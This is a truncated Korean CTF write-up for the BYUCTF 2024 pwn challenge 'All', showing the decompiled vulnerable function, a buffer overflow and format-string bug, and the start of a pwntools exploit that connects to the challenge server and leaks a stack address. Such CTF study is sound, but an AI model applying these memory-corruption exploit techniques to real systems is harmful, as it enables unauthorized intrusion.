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BYUCTF 2024 (Pwn)
[solved] [pwn/All]더보기int vuln(){ int result; // eax char buf[32]; // [rsp+0h] [rbp-20h] BYREF while ( 1 ) { result = strcmp(buf, "quit"); if ( !result ) break; read(0, buf, 0x100uLL); printf(buf); } return result;} bof, fsb가 발생한다.from pwn import *context.arch = 'amd64'# p = process('all')p = remote('all.chal.cyberjousting.com', 1348)p.send(b'%p.')stack = int(p.recvuntil(b'..